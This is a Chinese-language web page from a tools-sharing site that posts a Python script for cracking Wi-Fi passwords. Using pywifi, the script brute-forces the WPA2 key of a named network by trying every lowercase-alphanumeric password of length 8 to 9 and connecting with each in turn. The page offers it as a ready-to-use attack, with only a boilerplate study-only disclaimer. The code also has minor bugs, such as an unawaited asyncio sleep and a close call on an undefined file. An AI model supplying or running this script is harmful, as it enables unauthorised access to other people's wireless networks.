末世辅助网

文章搜索
搜索
当前位置:首页 > 编程源码 > Python > 文章详情

python破解wifi密码

末世  Python  2026-5-28  0评论
import time  # 时间
from asyncio.tasks import sleep
import itertools
import pywifi  # 破解wifi
from pywifi import const  # 引用一些定义

class PoJie():
    def __init__(self):
        wifi = pywifi.PyWiFi() #抓取网卡接口
        self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
        self.iface.disconnect() #测试链接断开所有链接

        time.sleep(1) #休眠1秒

        #测试网卡是否属于断开状态,
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def readPassWord(self):
        print("开始破解:")
        chars = '0123456789abcdefghijklmnopqrstuvwxyz'
        for password_length in range(8, 10):  # 这里我们尝试长度为1到8的密码
    # 使用itertools.product生成所有可能的密码组合
    # print(password_length)
            for password_tuple in itertools.product(chars, repeat=password_length):
                password = ''.join(password_tuple)
                # if password == "123":
                #     print(password)
                print(f'正在尝试密码{password}')   
                try:
                    myStr = password
                    if not myStr:
                        break
                    bool1=self.test_connect(myStr)
                    if bool1:
                        print("密码正确:",myStr)
                        break
                    else:
                        print("密码错误:"+myStr)
                    sleep(3)
                except:
                    continue

    def test_connect(self,findStr):#测试链接

        profile = pywifi.Profile()  #创建wifi链接文件
        profile.ssid ="loveyiyi" #wifi名称
        profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
        profile.key = findStr #密码

        self.iface.remove_all_network_profiles() #删除所有的wifi文件
        tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
        self.iface.connect(tmp_profile)#链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
            isOK=True  
        else:
            isOK=False
        self.iface.disconnect() #断开
        time.sleep(1)
        #检查断开状态
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

        return isOK

    def __del__(self):
        self.file.close()

start=PoJie()
start.readPassWord()

免责声明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络收集整理,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。如果您喜欢该程序和内容,请支持正版,购买注册,得到更好的正版服务。我们非常重视版权问题,如有侵权请邮件[moshi6@qq.com]与我们联系处理。敬请谅解!

相关文章

挤眼 亲亲 咆哮 开心 想想 可怜 糗大了 委屈 哈哈 小声点 右哼哼 左哼哼 疑问 坏笑 赚钱啦 悲伤 耍酷 勾引 厉害 握手 耶 嘻嘻 害羞 鼓掌 馋嘴 抓狂 抱抱 围观 威武 给力
提交评论

清空信息
关闭评论